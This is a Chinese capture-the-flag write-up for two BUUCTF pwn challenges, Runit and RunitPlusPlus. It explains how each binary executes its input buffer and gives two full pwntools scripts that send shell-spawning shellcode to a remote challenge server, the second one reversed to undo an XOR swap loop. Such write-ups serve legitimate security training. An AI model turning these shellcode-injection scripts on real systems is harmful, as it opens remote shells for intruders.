BUUCTF pwn Runit&&RunitPlusPlus

[BSidesCF 2019]Runit

查看保護
在這裏插入圖片描述
IDA查看程序流
在這裏插入圖片描述
讀入buf並執行,那麼可以寫入shellcode
完整ex




from pwn import *

context(log_level='debug')

#io=process("./runit")

io=remote("node3.buuoj.cn",28430)

io.recv()

payload=asm(shellcraft.sh())

io.send(payload)

io.interactive()

[BSidesCF 2019]RunitPlusPlus

查看程序保護
在這裏插入圖片描述
IDA打開查看程序流程
在這裏插入圖片描述
讀入buf,最後再執行buf輸入的內容



主體關鍵是中間的for循環,用了異或操作

可以假設buf[i]=a, buf[v8-i-1]=b, 那麼對循環裏面的操作進行轉換有

a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b

即結果使得buf[i]= buf[v8-i-1], 那麼對輸入的shellcode進行逆轉就行了。

完整的ex

from pwn import *

context(log_level='debug')

#io=process("./runitplusplus")

io=remote("node3.buuoj.cn",26920)

io.recv()

io.send(asm(shellcraft.sh())[::-1])

io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章